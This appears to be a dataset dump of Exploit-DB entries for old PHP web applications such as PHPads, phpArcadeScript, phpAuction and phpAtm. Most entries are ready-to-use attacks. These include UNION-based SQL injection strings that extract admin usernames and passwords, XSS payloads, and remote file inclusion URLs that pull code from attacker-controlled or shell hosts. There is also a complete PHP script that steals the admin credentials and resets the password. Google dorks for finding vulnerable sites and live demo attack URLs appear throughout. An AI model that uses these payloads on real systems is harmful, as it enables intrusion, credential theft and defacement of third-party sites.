deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46798
Description: PHPads 2.0 - 'click.php3?bannerID' SQL Injection
Type: webapps
Platform: php
Date: 2019-05-06
Author: felipe andrian

Exploit:
[+] Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0 by Nile Flores

[+] Date: 05/05/2019

[+] Risk: High

[+] CWE Number : CWE-89

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: https://blondish.net/

[+] Software Demo : https://github.com/blondishnet/PHPads/blob/master/readme.txt

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Gnu/Linux

[+] Dork: inurl:"click.php3?bannerID="" // use your brain ;)

[+] Exploit : 

        http://host/patch//click.php3?bannerID= [SQL Injection]

[+] Vulnerable File :

	    <?php
		$bannerAdsPath = './ads.dat';
		require './ads.inc.php';
		///////////////////////////////////////
		// Don't Edit Anything Below This Line!
		///////////////////////////////////////
		for ($i = 0; $i < count($ads); $i++) {
			if(ereg('^' .$_GET['id']. '\|\|', $ads[$i])) {
				$data = explode('||', $ads[$i]);
			if ($_SERVER['REMOTE_ADDR'] != $bannerAds['blockip']) {
					$data[ PHPADS_ADELEMENT_CLICKTHRUS ]++;
			}
				$ads[$i] = join('||', $data);
				break;
			}
		}
		if (!$data[PHPADS_ADELEMENT_LINK_URI]) {
			die();
		}
		writeads();
		Header("Location: ". $data[PHPADS_ADELEMENT_LINK_URI]);
		exit;
		?>

[+] PoC : 
 
   http://server/phpads/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x[PII_REDACTED]3a,(/*!50000select*/%20database()),0x3a[PII_REDACTED]))--+-
   http:/server/phpAds/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x[PII_REDACTED]3a,(/*!50000select*/%20database()),0x3a[PII_REDACTED]))--+-
   
[+] EOF
Exploit-DB #7832
Description: phpads 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-01-19
Author: Danny Moules

Exploit:
Vendor: http://blondish.net
Version(s): PHPAds 2.0 (May also affect earlier versions)
Credit: Danny Moules
Critical: Yes

See PUSH 55 Advisory at http://www.push55.co.uk/advisories.php?id=8

----

First, we need to acquire administrative access. We point our browser at 'http://www.example.com/ads/ads.dat'. Simple.

Due to insufficient validation of client-side data, we can inject script directly into the code displayed as an advertisement to users.

When making a new advertisement (or editing an old one), we simply fill the Ad Name field with the following:

-
" border="0"> <script>alert('xss');</script><img
-

and otherwise submit the form as usual. Obviously there are other vectors, but this is intended to be clean so the users will never see anything amiss.

Whenever that particular ad is viewed is viewed, the script is executed.

# milw0rm.com [2009-01-19]
Exploit-DB #35535
Description: PHPads 213607 - Authentication Bypass / Password Change
Type: webapps
Platform: php
Date: 2014-12-15
Author: Shaker msallm

Exploit:
<title> PHPads Authentication Bypass  Exploit </title>
<pre>
PHPads Authentication Bypass / Administrator Password Change Exploit
<form method="POST">
Target  : <br><input type="text" name="target" value="<? if($_POST['target']) {echo $_POST['target']; }else{echo 'http://localhost:4545/phpads';} ?>" size="70" /><br /><input type="submit" name="submit" />
</form>
<?php
function catchya($string, $start, $end)
{
	preg_match('/'.$start.'(.*)'.$end.'/', $string, $matches);
	return $matches[1];
}

function login($target)
{
	$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$target."/ads.dat");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
	$result = curl_exec($ch);
	$username = catchya($result, "user=", "\n");
	$[CREDENTIAL_REDACTED]($result, "pass=", "\n");
	return array($username,$password);
	curl_close($ch);
}

function adminchange($target, $username, $password)
{
	$post = array('save' => '1',
	'newlogin' => $username,
	'newpass' => "htlover");
	$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$target);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_COOKIE, 'user='.$username.'; pass='.$password);
	curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
	$result = curl_exec($ch);
	if(preg_match("/Code Generator/", $result))
	{
		return "<br><br><font color=green>Success !! Password changed </font><br>username: ".$username." | [CREDENTIAL_REDACTED]";
	}else{
		return "Something wrong <br>";
	}
	curl_close($ch);
}

if (isset($_POST['submit']))
{
	$target = $_POST['target'];
	//login($target, $username, $userid);
	$logins = login($target);
	echo "USERNAME :" . $logins[0]; // username
	echo "<br>PASSWORD :" . $logins[1]; // password
	echo adminchange($target.'/admin.php?action=config', $logins[0], $logins[1]);
}




?>
</pre>
Exploit-DB #25225
Description: PHPAdsNew 2.0.4 - 'AdFrame.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-14
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12803/info

phpAdsNew is reportedly affected by a remote cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/[phpAdsNew]/adframe.php?refresh=example.com'>[XSS code]
Exploit-DB #32338
Description: phpAdultSite CMS - 'results_per_page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-07
Author: David Sopas

Exploit:
source: https://www.securityfocus.com/bid/31057/info

phpAdultSite is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

index.php?&results_per_page=50"><script type="text/javascript">alert(/XSS vuln by DavidSopas.com/)</script>
Exploit-DB #2736
Description: PHPAdventure 1.1 - 'ad_main.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-07
Author: HER0

Exploit:
*********************************************
D.O.M TEAM
Bug found: HER0
cms: PHPAdventure
type: rfi
risk: High
download:http://prdownloads.sourceforge.net/phpadventure/phpadv11.tar.gz
contac:16.her0@gmail.com
nota: all the versions of PHPAdventure is affected..
********************************************
line of the code:

<?php
$_stage = 1;
include($_mygamefile);
?>

exploit:
/ad_main.php?_mygamefile=http://evilcode.txt?
****************************************************************
www.domteam.info

greetz:Sponge Bob,Bob esponja XDDDD...
******************************************************************************************

# milw0rm.com [2006-11-07]
Exploit-DB #27643
Description: PHPAlbum 0.2.2/0.2.3/4.1 - 'Language.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-04-15
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/17526/info

phpAlbum is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access. 

phpAlbum 0.3.2.3 and prior versions are affected.

phpAlbum is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access. 

phpAlbum 0.3.2.3 and prior versions are affected.
Exploit-DB #35615
Description: PhpAlbum.net 0.4.1-14_fix06 - 'var3' Remote Command Execution
Type: webapps
Platform: php
Date: 2011-04-14
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47369/info

PhpAlbum.net is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to execute arbitrary commands within the context of the vulnerable process.

PhpAlbum.net 0.4.1-14_fix06 is vulnerable; other versions may also be affected. 

http://www.example.com/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx','xxxx')
Exploit-DB #7621
Description: PHPAlumni - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-29
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL InjEcti0n Vulnerability
##
## PHPAlumni ( Acomment.php id )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
##
## -[[: Exploite :]]-
##
##   www.Target.com/Acomment.php?id=1+union+select+0,0,0,0,0,0,0,0,concat_ws(0x3a,name,email,password),0,0+from+users--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-12-29]
Exploit-DB #5208
Description: phpArcadeScript 3.0RC2 - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-01
Author: SoSo H H

Exploit:
############################################################################
# phpArcadeScript (all version) Remote Sql Injection Exploit               #
#                                                                          #
# AUTHOR:SoSo H H (Iraqi-Cracker)                                          #
#                                                                          #
# Script Site: http://www.phparcadescript.com/                             #
#                                                                          #
# Price:$30.00                                                             #
#                                                                          #
# Tested on: Versions:1.0,2.0,3.0 RC1 &RC2                                 #
#                                                                          #
# Dorks:"Powered by phpArcadeScript v1.0"                                  #
#       "Powered by phpArcadeScript v2.0"                                  #
#       "Powered by phpArcadeScript v3.0RC1"                               #
#       "Powered by phpArcadeScript v3.0RC2"                               #
############################################################################
# Exploit in:                                                              #
# index.php?action=profile&userid=(SQL)                                    #
#                                                                          #
# Example:                                                                 #
#                                                                          #
# (SQL)=1+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+users/*#
############################################################################
# Greetz:                                                                  #
# L!0N,El Mariachi,My Sweet,Shadow Administrator,-=Miz0=-,Iraqi-KoRn       #
# Mini.Spider,and All 7shasha Boards Members!                              #
############################################################################  

# milw0rm.com [2008-03-01]
Exploit-DB #6255
Description: phpArcadeScript 4 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-17
Author: Hussin X

Exploit:
|___________________________________________________|
|
| PHP Arcade Script v4.0 (cat) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.phparcadescript.com
| 
| DorK   :  :-P 
|___________________________________________________|

Exploit:  
________



www.[target].com/Script/index.php?action=browse&cat=-29+UNION+SELECT+1,concat(adminusername,0x3e,adminpassword),3,4,5,6,7+FROM+siteconfig--






L!VE DEMO:
_________


http://www.phparcadedemo.com/index.php?action=browse&cat=-29+UNION+SELECT+1,concat(adminusername,0x3e,adminpassword),3,4,5,6,7+FROM+siteconfig--


____________

Admin Login :

www.[target].com/Script/admin/

____________
____________________________( Greetz )____________________________
|
| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|   
| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n 
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-17]
Exploit-DB #9288
Description: phpArcadeScript 4.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-28
Author: MizoZ

Exploit:
----------------------------------------------------------------------------------------------------
  Name : PHP AS v4
  Site : http://www.phparcadescript.com/

----------------------------------------------------------------------------------------------------
 
  Found By : MizoZ [EvilWay Team]
  Made in  : Morocco
  Contact  : mizoz[at]9[dot]cn
  Greetz   : Moudi , Zuka , JIKO , opt!x , All friends
  Website : BlackArea.org (Coming Soon)
----------------------------------------------------------------------------------------------------

SQL Injection linkout.php (GET : id) :
[HOST]/[PATH]/linkout.php?id=[SQL CODE]

SQL CODE : null+union+select+1,2,3,4,5,6,7,8,9,10,11--

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-28]
Exploit-DB #2409
Description: PHPartenaire 1.0 - 'dix.php3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-21
Author: DaDIsS

Exploit:
#===================================================================================#
#
# PHPartenaire => $url_phpartenaire Remote File Inclusion Exploit
#
#===================================================================================#
#
# Softname : PHPartenaire
# Url : http://ograweb.free.fr/phpartenaire/
# Exploit type : Remote File Inclusion.
# Critical: Dangerous.
# Solution Status: Unpatched.
#
#===================================================================================#
#
# By DaDIsS - Member of the Moroccan Hackers Team
#
#===================================================================================#
#
# Exploit Explanation : 
#
#
# The flaw resides in dix.php3 file that contain this code :
# 
# in line 9 :
#
# include($url_phpartenaire."/config.php3");
#
#===================================================================================#
#
# Example : 
#
#
# http://www.victime.com/(path)/dix.php3?url_phpartenaire=http://attacker
#
#
#================================================================#
#
# Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !!
#
#===================================================================================#
#
# DaDIsS / dadiss@virtuaplanet.net
# Proud to be a Moroccan !
#
#===================================================================================#

# milw0rm.com [2006-09-21]
Exploit-DB #2279
Description: phpAtm 1.21 - 'include_location' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: KinSize

Exploit:
########################################################################
#  phpAtm <= v1.21 (include_location) Remote File Inclusion Exploit
#   
#   Level : Dangerous        
#   Download  : http://phpatm.free.fr/
#   Version : v1.21  
#   
#                           Found By: KinSize [MHG Security Team]
#
########################################################################
# Code :   include($include_location.'include/conf.php');
#
#  exploit:
# http://www.sitename.com/[script_path]/confirm.php?include_location=http://shellurl.com ?   
# http://www.sitename.com/[script_path]/index.php?include_location=http://shellurl.com ?    
# http://www.sitename.com/[script_path]/login.php?include_location=http://shellurl.com ?
########################################################################
#
#Conatact : nefretaskimdir[at]gmail.com
#
# GreetZ : Damage-N | by_emr3  | by_OkSit  | ESKOBAR  | Ye.iL  | PowerCobra  | sys-worm(Turkish)| Z e b e r u S | ALL Turkish & MusLim
########################################################################

Added information:

At first glance this doesn't look vulnerable but then again:

line 85-94 of common.php
while (list(, $arr) = each($sysarr))
{
        if (is_array($arr))
        {
                while (list($key, $value) = each($arr))
                {
                        $GLOBALS[$key] = $value;
                }
        }
}

/str0ke

# milw0rm.com [2006-08-30]
Exploit-DB #3918
Description: phpAtm 1.30 - 'downloadfile' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-05-13
Author: Ali.Mohajem

Exploit:
******************************************************************************************
download page in : http://phpatm.free.fr/
 
bug in : phpatm
injection attack :
 index.php?action=downloadfile&filename=index.php&directory=../&
 
Dork in google : "powered by php advanced transfer manager"
 
example : http://www.furytech.net/phpATM_130/index.php?action=downloadfile&filename=index.php&directory=../
*******************************************************************************************
************************************************************************************
found bug by : Ali.Mohajem
Email : Ali.Mohajem@Yahoo.com
Website : wWw.Shayatin-team.com
www.mohajem.net
www.mohajem.org
special tnx : fireman - dr.trojan-L0rd-Samir-s4rem-and all iranian hackers
*************************************************************************************

# milw0rm.com [2007-05-13]
Exploit-DB #5879
Description: phpAuction - 'profile.php' SQL Injection (1)
Type: webapps
Platform: php
Date: 2008-06-20
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## PHPAuction ( profile.php user_id )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ATsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : PHPAuction
##
## site    : www.phpauctions.info
##
########################
########################
##
## D0rk1 : allinurl: "profile.php?user_id" auction_id
##
## D0rk2 : allinurl: "active_auctions.php" user_id
##
##     -(:: SQL ::)-
##
##    www.site.com/
##         profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://phpauctions.info/phpauction/demo/profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/*
##
##    http://phpauctions.info/phpauction/demo/viewfaqs.php?cat=null
#######################
#######################
 -(:: Note ::)-
This script not >> (( phpAuction GPL ))  (( password Md5 ))

#######################################################################################################
#######################################################################################################

                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-20]
Exploit-DB #31944
Description: phpAuction - 'profile.php' SQL Injection (2)
Type: webapps
Platform: php
Date: 2008-06-21
Author: Mr.SQL

Exploit:
source: https://www.securityfocus.com/bid/29856/info

PHPAuction is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/profile.php?user_id=1&auction_id=-2+union+select+concat_ws(0x2F2A2A2F,nick,password,email)+from+PHPAUCTION_users+limit+1,1/*